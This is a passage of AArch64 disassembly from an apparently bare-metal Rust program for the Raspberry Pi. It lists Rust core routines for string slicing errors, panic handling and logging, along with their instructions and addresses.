81e00: 5400092c b.gt 81f24 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x274>
81e04: 38de812a ldursb w10, [x9, #-24]
81e08: 3101055f cmn w10, #0x41
81e0c: 5400090c b.gt 81f2c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x27c>
81e10: 38de712a ldursb w10, [x9, #-25]
81e14: 3101055f cmn w10, #0x41
81e18: 540008ec b.gt 81f34 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x284>
81e1c: 38de612a ldursb w10, [x9, #-26]
81e20: 3101055f cmn w10, #0x41
81e24: 540008cc b.gt 81f3c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x28c>
81e28: 38de512a ldursb w10, [x9, #-27]
81e2c: 3101055f cmn w10, #0x41
81e30: 540008ac b.gt 81f44 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x294>
81e34: 38de412a ldursb w10, [x9, #-28]
81e38: 3101055f cmn w10, #0x41
81e3c: 5400088c b.gt 81f4c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x29c>
81e40: 38de312a ldursb w10, [x9, #-29]
81e44: 3101055f cmn w10, #0x41
81e48: 5400086c b.gt 81f54 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2a4>
81e4c: 38de212a ldursb w10, [x9, #-30]
81e50: 3101055f cmn w10, #0x41
81e54: 5400084c b.gt 81f5c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2ac>
81e58: 38de1129 ldursb w9, [x9, #-31]
81e5c: 3101053f cmn w9, #0x41
81e60: 5400082c b.gt 81f64 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b4>
81e64: f1008108 subs x8, x8, #0x20
81e68: 54fff3c1 b.ne 81ce0 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x30> // b.any
81e6c: aa1f03e9 mov x9, xzr
81e70: 14000044 b 81f80 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2d0>
81e74: d1000508 sub x8, x8, #0x1
81e78: 1400003c b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81e7c: d1000908 sub x8, x8, #0x2
81e80: 1400003a b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81e84: d1000d08 sub x8, x8, #0x3
81e88: 14000038 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81e8c: d1001108 sub x8, x8, #0x4
81e90: 14000036 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81e94: d1001508 sub x8, x8, #0x5
81e98: 14000034 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81e9c: d1001908 sub x8, x8, #0x6
81ea0: 14000032 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81ea4: d1001d08 sub x8, x8, #0x7
81ea8: 14000030 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81eac: d1002108 sub x8, x8, #0x8
81eb0: 1400002e b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81eb4: d1002508 sub x8, x8, #0x9
81eb8: 1400002c b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81ebc: d1002908 sub x8, x8, #0xa
81ec0: 1400002a b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81ec4: d1002d08 sub x8, x8, #0xb
81ec8: 14000028 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81ecc: d1003108 sub x8, x8, #0xc
81ed0: 14000026 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81ed4: d1003508 sub x8, x8, #0xd
81ed8: 14000024 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81edc: d1003908 sub x8, x8, #0xe
81ee0: 14000022 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81ee4: d1003d08 sub x8, x8, #0xf
81ee8: 14000020 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81eec: d1004108 sub x8, x8, #0x10
81ef0: 1400001e b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81ef4: d1004508 sub x8, x8, #0x11
81ef8: 1400001c b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81efc: d1004908 sub x8, x8, #0x12
81f00: 1400001a b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f04: d1004d08 sub x8, x8, #0x13
81f08: 14000018 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f0c: d1005108 sub x8, x8, #0x14
81f10: 14000016 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f14: d1005508 sub x8, x8, #0x15
81f18: 14000014 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f1c: d1005908 sub x8, x8, #0x16
81f20: 14000012 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f24: d1005d08 sub x8, x8, #0x17
81f28: 14000010 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f2c: d1006108 sub x8, x8, #0x18
81f30: 1400000e b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f34: d1006508 sub x8, x8, #0x19
81f38: 1400000c b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f3c: d1006908 sub x8, x8, #0x1a
81f40: 1400000a b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f44: d1006d08 sub x8, x8, #0x1b
81f48: 14000008 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f4c: d1007108 sub x8, x8, #0x1c
81f50: 14000006 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f54: d1007508 sub x8, x8, #0x1d
81f58: 14000004 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f5c: d1007908 sub x8, x8, #0x1e
81f60: 14000002 b 81f68 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2b8>
81f64: d1007d08 sub x8, x8, #0x1f
81f68: eb01011f cmp x8, x1
81f6c: 54000062 b.cs 81f78 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2c8> // b.hs, b.nlast
81f70: aa0803e9 mov x9, x8
81f74: 14000003 b 81f80 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x2d0>
81f78: aa0103e9 mov x9, x1
81f7c: 54000801 b.ne 8207c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3cc> // b.any
81f80: a90127e0 stp x0, x9, [sp, #16]
81f84: b0000029 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81f88: 528000a8 mov w8, #0x5 // #5
81f8c: 91233929 add x9, x9, #0x8ce
81f90: eb01005f cmp x2, x1
81f94: a90223e9 stp x9, x8, [sp, #32]
81f98: 540002a8 b.hi 81fec <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x33c> // b.pmore
81f9c: eb01007f cmp x3, x1
81fa0: 54000268 b.hi 81fec <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x33c> // b.pmore
81fa4: eb03005f cmp x2, x3
81fa8: 54000529 b.ls 8204c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x39c> // b.plast
81fac: b0000029 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81fb0: 910003e8 mov x8, sp
81fb4: 910023ea add x10, sp, #0x8
81fb8: d000000b adrp x11, 83000 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x420>
81fbc: 9125416b add x11, x11, #0x950
81fc0: f9476d29 ldr x9, [x9, #3800]
81fc4: a90827e8 stp x8, x9, [sp, #128]
81fc8: 910043e8 add x8, sp, #0x10
81fcc: a90927ea stp x10, x9, [sp, #144]
81fd0: 910083e9 add x9, sp, #0x20
81fd4: a90a2fe8 stp x8, x11, [sp, #160]
81fd8: 52800088 mov w8, #0x4 // #4
81fdc: a90b2fe9 stp x9, x11, [sp, #176]
81fe0: d0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
81fe4: 913d2129 add x9, x9, #0xf48
81fe8: 14000011 b 8202c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x37c>
81fec: b000002a adrp x10, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
81ff0: eb01005f cmp x2, x1
81ff4: 9a838048 csel x8, x2, x3, hi // hi = pmore
81ff8: 910103e9 add x9, sp, #0x40
81ffc: 910043eb add x11, sp, #0x10
82000: f9476d4a ldr x10, [x10, #3800]
82004: f90023e8 str x8, [sp, #64]
82008: b0000008 adrp x8, 83000 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x420>
8200c: 91254108 add x8, x8, #0x950
82010: a9082be9 stp x9, x10, [sp, #128]
82014: 910083e9 add x9, sp, #0x20
82018: a90923eb stp x11, x8, [sp, #144]
8201c: a90a23e9 stp x9, x8, [sp, #160]
82020: b0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
82024: 52800068 mov w8, #0x3 // #3
82028: 913c6129 add x9, x9, #0xf18
8202c: a90523e9 stp x9, x8, [sp, #80]
82030: 910203e9 add x9, sp, #0x80
82034: 910143e0 add x0, sp, #0x50
82038: aa0403e1 mov x1, x4
8203c: a9067fff stp xzr, xzr, [sp, #96]
82040: a90723e9 stp x9, x8, [sp, #112]
82044: 940000bf bl 82340 <_ZN4core9panicking9panic_fmt17h2fb479caa573f9e3E>
82048: d4200020 brk #0x1
8204c: b5000242 cbnz x2, 82094 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3e4>
82050: f9001be3 str x3, [sp, #48]
82054: b50004e3 cbnz x3, 820f0 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x440>
82058: aa1f03e3 mov x3, xzr
8205c: eb01007f cmp x3, x1
82060: 54000261 b.ne 820ac <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3fc> // b.any
82064: 90000020 adrp x0, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
82068: 52800561 mov w1, #0x2b // #43
8206c: 9120a000 add x0, x0, #0x828
82070: aa0403e2 mov x2, x4
82074: 9400008f bl 822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>
82078: d4200020 brk #0x1
8207c: b0000024 adrp x4, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
82080: aa1f03e2 mov x2, xzr
82084: 913c0084 add x4, x4, #0xf00
82088: aa0803e3 mov x3, x8
8208c: 97ffff09 bl 81cb0 <_ZN4core3str16slice_error_fail17h932895516ec20f79E>
82090: d4200020 brk #0x1
82094: eb01005f cmp x2, x1
82098: 540001a2 b.cs 820cc <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x41c> // b.hs, b.nlast
8209c: 38e26808 ldrsb w8, [x0, x2]
820a0: 3101051f cmn w8, #0x41
820a4: 54fffd6c b.gt 82050 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3a0>
820a8: 1400000b b 820d4 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x424>
820ac: 8b030008 add x8, x0, x3
820b0: aa0803eb mov x11, x8
820b4: 38c0156a ldrsb w10, [x11], #1
820b8: 12001d49 and w9, w10, #0xff
820bc: 37f8026a tbnz w10, #31, 82108 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x458>
820c0: 52800028 mov w8, #0x1 // #1
820c4: b9003fe9 str w9, [sp, #60]
820c8: 14000044 b 821d8 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x528>
820cc: eb02003f cmp x1, x2
820d0: 54fffc00 b.eq 82050 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3a0> // b.none
820d4: aa0203e3 mov x3, x2
820d8: f9001be2 str x2, [sp, #48]
820dc: 14000005 b 820f0 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x440>
820e0: eb03003f cmp x1, x3
820e4: 54fffc00 b.eq 82064 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3b4> // b.none
820e8: f1000463 subs x3, x3, #0x1
820ec: 54fffb60 b.eq 82058 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3a8> // b.none
820f0: eb01007f cmp x3, x1
820f4: 54ffff62 b.cs 820e0 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x430> // b.hs, b.nlast
820f8: 38e36808 ldrsb w8, [x0, x3]
820fc: 3101011f cmn w8, #0x40
82100: 54ffff4b b.lt 820e8 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x438> // b.tstop
82104: 17ffffd6 b 8205c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3ac>
82108: 8b01000a add x10, x0, x1
8210c: eb0a017f cmp x11, x10
82110: 54000101 b.ne 82130 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x480> // b.any
82114: 2a1f03e8 mov w8, wzr
82118: aa0a03ec mov x12, x10
8211c: 1200112b and w11, w9, #0x1f
82120: 71037d3f cmp w9, #0xdf
82124: 54000128 b.hi 82148 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x498> // b.pmore
82128: 331a1168 bfi w8, w11, #6, #5
8212c: 1400001f b 821a8 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x4f8>
82130: 3940050b ldrb w11, [x8, #1]
82134: 9100090c add x12, x8, #0x2
82138: 12001568 and w8, w11, #0x3f
8213c: 1200112b and w11, w9, #0x1f
82140: 71037d3f cmp w9, #0xdf
82144: 54ffff29 b.ls 82128 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x478> // b.plast
82148: eb0a019f cmp x12, x10
8214c: 54000081 b.ne 8215c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x4ac> // b.any
82150: 2a1f03ed mov w13, wzr
82154: aa0a03ec mov x12, x10
82158: 14000003 b 82164 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x4b4>
8215c: 3840158d ldrb w13, [x12], #1
82160: 120015ad and w13, w13, #0x3f
82164: 331a150d bfi w13, w8, #6, #6
82168: 7103c13f cmp w9, #0xf0
8216c: 540000a3 b.cc 82180 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x4d0> // b.lo, b.ul, b.last
82170: eb0a019f cmp x12, x10
82174: 540000c1 b.ne 8218c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x4dc> // b.any
82178: 2a1f03e8 mov w8, wzr
8217c: 14000006 b 82194 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x4e4>
82180: 3314116d bfi w13, w11, #12, #5
82184: 2a0d03e8 mov w8, w13
82188: 14000008 b 821a8 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x4f8>
8218c: 39400188 ldrb w8, [x12]
82190: 12001508 and w8, w8, #0x3f
82194: 530e0969 ubfiz w9, w11, #18, #3
82198: 331a2da9 bfi w9, w13, #6, #12
8219c: 2a080128 orr w8, w9, w8
821a0: 7144411f cmp w8, #0x110, lsl #12
821a4: 54fff600 b.eq 82064 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x3b4> // b.none
821a8: 7102011f cmp w8, #0x80
821ac: b9003fe8 str w8, [sp, #60]
821b0: 54000062 b.cs 821bc <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x50c> // b.hs, b.nlast
821b4: 52800028 mov w8, #0x1 // #1
821b8: 14000008 b 821d8 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x528>
821bc: 7120011f cmp w8, #0x800
821c0: 54000062 b.cs 821cc <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x51c> // b.hs, b.nlast
821c4: 52800048 mov w8, #0x2 // #2
821c8: 14000004 b 821d8 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x528>
821cc: 7140411f cmp w8, #0x10, lsl #12
821d0: 52800068 mov w8, #0x3 // #3
821d4: 9a883508 cinc x8, x8, cs // cs = hs, nlast
821d8: 9000002a adrp x10, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
821dc: 9000002b adrp x11, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
821e0: 8b030108 add x8, x8, x3
821e4: 9100c3e9 add x9, sp, #0x30
821e8: f9476d4a ldr x10, [x10, #3800]
821ec: f947716b ldr x11, [x11, #3808]
821f0: a90423e3 stp x3, x8, [sp, #64]
821f4: 9100f3e8 add x8, sp, #0x3c
821f8: a9082be9 stp x9, x10, [sp, #128]
821fc: f0ffffe9 adrp x9, 81000 <_ZN4core3fmt3num53_$LT$impl$u20$core..fmt..LowerHex$u20$for$u20$i64$GT$3fmt17h5b549b8f8f8626b6E+0x10>
82200: 910b4129 add x9, x9, #0x2d0
82204: 910103ea add x10, sp, #0x40
82208: a9092fe8 stp x8, x11, [sp, #144]
8220c: b000000b adrp x11, 83000 <_ZN4core3fmt9Formatter3pad17h878fee43bbd7a693E+0x420>
82210: 9125416b add x11, x11, #0x950
82214: 910043e8 add x8, sp, #0x10
82218: a90a27ea stp x10, x9, [sp, #160]
8221c: 910083e9 add x9, sp, #0x20
82220: a90b2fe8 stp x8, x11, [sp, #176]
82224: 528000a8 mov w8, #0x5 // #5
82228: a90c2fe9 stp x9, x11, [sp, #192]
8222c: b0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
82230: 913e2129 add x9, x9, #0xf88
82234: 17ffff7e b 8202c <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x37c>
...
0000000000082240 <_ZN36_$LT$T$u20$as$u20$core..any..Any$GT$7type_id17he4f0107a5c0e69b3E>:
82240: d29b4ac0 mov x0, #0xda56 // #55894
82244: f2a97e60 movk x0, #0x4bf3, lsl #16
82248: f2cb2f20 movk x0, #0x5979, lsl #32
8224c: f2ef9ba0 movk x0, #0x7cdd, lsl #48
82250: d65f03c0 ret
...
0000000000082260 <_ZN4core5panic10panic_info9PanicInfo8location17he58c7765cd5d2043E>:
82260: f9400c00 ldr x0, [x0, #24]
82264: d65f03c0 ret
...
0000000000082270 <_ZN4core3ptr28drop_in_place$LT$$RF$u64$GT$17hd5ba8fcbb9fdb90bE.llvm.14833330310357332318>:
82270: d65f03c0 ret
...
0000000000082280 <_ZN4core5panic8location8Location4file17h918403ddba986633E>:
82280: a9400408 ldp x8, x1, [x0]
82284: aa0803e0 mov x0, x8
82288: d65f03c0 ret
8228c: 00000000 .inst 0x00000000 ; undefined
0000000000082290 <_ZN4core5panic8location8Location4line17hd2d5b0d999bfd45dE>:
82290: b9401000 ldr w0, [x0, #16]
82294: d65f03c0 ret
...
00000000000822a0 <_ZN4core5panic8location8Location6column17h7f6cd155d4327e1eE>:
822a0: b9401400 ldr w0, [x0, #20]
822a4: d65f03c0 ret
...
00000000000822b0 <_ZN4core9panicking5panic17h1276bf0d71dbfb98E>:
822b0: d10103ff sub sp, sp, #0x40
822b4: 9100c3e8 add x8, sp, #0x30
822b8: 52800029 mov w9, #0x1 // #1
822bc: a90307e0 stp x0, x1, [sp, #48]
822c0: 910003e0 mov x0, sp
822c4: aa0203e1 mov x1, x2
822c8: a9017fff stp xzr, xzr, [sp, #16]
822cc: a90027e8 stp x8, x9, [sp]
822d0: 90000028 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
822d4: 9124e108 add x8, x8, #0x938
822d8: a9027fe8 stp x8, xzr, [sp, #32]
822dc: 94000019 bl 82340 <_ZN4core9panicking9panic_fmt17h2fb479caa573f9e3E>
822e0: d4200020 brk #0x1
...
00000000000822f0 <_ZN4core9panicking18panic_bounds_check17h7e98c39e5d454fafE>:
822f0: d10183ff sub sp, sp, #0x60
822f4: 90000029 adrp x9, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
822f8: 910023e8 add x8, sp, #0x8
822fc: 910003ea mov x10, sp
82300: f9476d29 ldr x9, [x9, #3800]
82304: a90007e0 stp x0, x1, [sp]
82308: 910043e0 add x0, sp, #0x10
8230c: aa0203e1 mov x1, x2
82310: a9027fff stp xzr, xzr, [sp, #32]
82314: a90427e8 stp x8, x9, [sp, #64]
82318: 52800048 mov w8, #0x2 // #2
8231c: a90527ea stp x10, x9, [sp, #80]
82320: b0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
82324: 913fe129 add x9, x9, #0xff8
82328: a90123e9 stp x9, x8, [sp, #16]
8232c: 910103e9 add x9, sp, #0x40
82330: a90323e9 stp x9, x8, [sp, #48]
82334: 94000003 bl 82340 <_ZN4core9panicking9panic_fmt17h2fb479caa573f9e3E>
82338: d4200020 brk #0x1
8233c: 00000000 .inst 0x00000000 ; undefined
0000000000082340 <_ZN4core9panicking9panic_fmt17h2fb479caa573f9e3E>:
82340: 90000028 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
82344: b0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
82348: 9124e108 add x8, x8, #0x938
8234c: 913f6129 add x9, x9, #0xfd8
82350: a9be27e8 stp x8, x9, [sp, #-32]!
82354: a90107e0 stp x0, x1, [sp, #16]
82358: 910003e0 mov x0, sp
8235c: 94000005 bl 82370 <rust_begin_unwind>
82360: d4200020 brk #0x1
...
0000000000082370 <rust_begin_unwind>:
82370: d10243ff sub sp, sp, #0x90
82374: a9084ffe stp x30, x19, [sp, #128]
82378: 97ffffba bl 82260 <_ZN4core5panic10panic_info9PanicInfo8location17he58c7765cd5d2043E>
8237c: 90000028 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
82380: f9477508 ldr x8, [x8, #3816]
82384: b4000420 cbz x0, 82408 <rust_begin_unwind+0x98>
82388: f9400108 ldr x8, [x8]
8238c: b40005c8 cbz x8, 82444 <rust_begin_unwind+0xd4>
82390: aa0003f3 mov x19, x0
82394: 97ffffbb bl 82280 <_ZN4core5panic8location8Location4file17h918403ddba986633E>
82398: a90387e0 stp x0, x1, [sp, #56]
8239c: aa1303e0 mov x0, x19
823a0: 97ffffbc bl 82290 <_ZN4core5panic8location8Location4line17hd2d5b0d999bfd45dE>
823a4: b9004be0 str w0, [sp, #72]
823a8: aa1303e0 mov x0, x19
823ac: 97ffffbd bl 822a0 <_ZN4core5panic8location8Location6column17h7f6cd155d4327e1eE>
823b0: 90000009 adrp x9, 82000 <_ZN4core3str16slice_error_fail17h932895516ec20f79E+0x350>
823b4: 9000002b adrp x11, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
823b8: 9100e3e8 add x8, sp, #0x38
823bc: 9114c129 add x9, x9, #0x530
823c0: b9004fe0 str w0, [sp, #76]
823c4: d0000022 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
823c8: f947796b ldr x11, [x11, #3824]
823cc: 910123ea add x10, sp, #0x48
823d0: a90527e8 stp x8, x9, [sp, #80]
823d4: 910133e8 add x8, sp, #0x4c
823d8: d0000029 adrp x9, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
823dc: 91024042 add x2, x2, #0x90
823e0: 91018129 add x9, x9, #0x60
823e4: 910023e0 add x0, sp, #0x8
823e8: a9072fe8 stp x8, x11, [sp, #112]
823ec: 52800068 mov w8, #0x3 // #3
823f0: a9062fea stp x10, x11, [sp, #96]
823f4: a901ffff stp xzr, xzr, [sp, #24]
823f8: a900a3e9 stp x9, x8, [sp, #8]
823fc: 910143e9 add x9, sp, #0x50
82400: a902a3e9 stp x9, x8, [sp, #40]
82404: 1400000e b 8243c <rust_begin_unwind+0xcc>
82408: f9400108 ldr x8, [x8]
8240c: b40001c8 cbz x8, 82444 <rust_begin_unwind+0xd4>
82410: d0000028 adrp x8, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
82414: 52800029 mov w9, #0x1 // #1
82418: 91006108 add x8, x8, #0x18
8241c: d0000022 adrp x2, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
82420: a9067fff stp xzr, xzr, [sp, #96]
82424: 9100a042 add x2, x2, #0x28
82428: 910143e0 add x0, sp, #0x50
8242c: a90527e8 stp x8, x9, [sp, #80]
82430: 90000028 adrp x8, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
82434: 9125c108 add x8, x8, #0x970
82438: a9077fe8 stp x8, xzr, [sp, #112]
8243c: 52800021 mov w1, #0x1 // #1
82440: 94000014 bl 82490 <_ZN3log17__private_api_log17haa499543e16634a1E>
82444: 14000000 b 82444 <rust_begin_unwind+0xd4>
...
0000000000082450 <_ZN4core3ptr32drop_in_place$LT$$RF$$RF$str$GT$17h8de11ae9a12aa18eE>:
82450: d65f03c0 ret
...
0000000000082460 <_ZN43_$LT$log..NopLogger$u20$as$u20$log..Log$GT$7enabled17ha489d50b3cf43f77E>:
82460: 2a1f03e0 mov w0, wzr
82464: d65f03c0 ret
...
0000000000082470 <_ZN43_$LT$log..NopLogger$u20$as$u20$log..Log$GT$3log17hf245f4a53db4aac8E>:
82470: d65f03c0 ret
...
0000000000082480 <_ZN43_$LT$log..NopLogger$u20$as$u20$log..Log$GT$5flush17he4fce0f13ef37046E>:
82480: d65f03c0 ret
...
0000000000082490 <_ZN3log17__private_api_log17haa499543e16634a1E>:
82490: d10243ff sub sp, sp, #0x90
82494: b0000029 adrp x9, 87000 <_ZN17ruspiro_allocator6memory12FREE_BUCKETS17h862d300f99d834deE.llvm.11995692481347540951+0xc0>
82498: f90043fe str x30, [sp, #128]
8249c: 91014129 add x9, x9, #0x50
824a0: b9403050 ldr w16, [x2, #48]
824a4: a9402c4a ldp x10, x11, [x2]
824a8: d0000031 adrp x17, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
824ac: 52800028 mov w8, #0x1 // #1
824b0: a941344c ldp x12, x13, [x2, #16]
824b4: 91046231 add x17, x17, #0x118
824b8: a9423c4e ldp x14, x15, [x2, #32]
824bc: c8dffd29 ldar x9, [x9]
824c0: a940c803 ldp x3, x18, [x0, #8]
824c4: f9400002 ldr x2, [x0]
824c8: a9002be1 stp x1, x10, [sp]
824cc: d0000021 adrp x1, 88000 <anon.b2eb45f66a0b759930b184b68fba7a80.61.llvm.111400220230659385+0x178>
824d0: a9024be3 stp x3, x18, [sp, #32]
824d4: 91038021 add x1, x1, #0xe0
824d8: a9404632 ldp x18, x17, [x17]
824dc: f100093f cmp x9, #0x2
824e0: a941a804 ldp x4, x10, [x0, #24]
824e4: f9401400 ldr x0, [x0, #40]
824e8: 9a810229 csel x9, x17, x1, eq // eq = none
824ec: a90537ec stp x12, x13, [sp, #80]
824f0: 910003e1 mov x1, sp
824f4: a9032be4 stp x4, x10, [sp, #48]
824f8: 9000002a adrp x10, 86000 <_ZN4core7unicode12unicode_data15grapheme_extend7OFFSETS17h43cbc87acfaf4d34E.llvm.111400220230659385+0x98>
824fc: a9063bff stp xzr, x14, [sp, #96]
82500: 9127c14a add x10, x10, #0x9f0
82504: a9047fe0 stp x0, xzr, [sp, #64]
82508: 9a8a0240 csel x0, x18, x10, eq // eq = none
8250c: f9003bef str x15, [sp, #112]
82510: 290f43e8 stp w8, w16, [sp, #120]
82514: f9401528 ldr x8, [x9, #40]
82518: a9010beb stp x11, x2, [sp, #16]
8251c: d63f0100 blr x8
82520: f94043fe ldr x30, [sp, #128]
82524: 910243ff add sp, sp, #0x90
82528: d65f03c0 ret
8252c: 00000000 .inst 0x00000000 ; undefined
0000000000082530 <_ZN42_$LT$$RF$T$u20$as$u20$core..fmt..Debug$GT$3fmt17h4abc4ee51eac9854E>:
82530: a9402408 ldp x8, x9, [x0]
82534: aa0103e2 mov x2, x1
82538: aa0803e0 mov x0, x8
8253c: aa0903e1 mov x1, x9
82540: 140002bc b 83030 <_ZN40_$LT$str$u20$as$u20$core..fmt..Debug$GT$3fmt17h5d87cdd23b341063E>
...
0000000000082550 <_ZN4core3ops8function6FnOnce9call_once17h049e8c8a1d0ce9b8E.llvm.2931485523929443995>:
82550: f940001f ldr xzr, [x0]
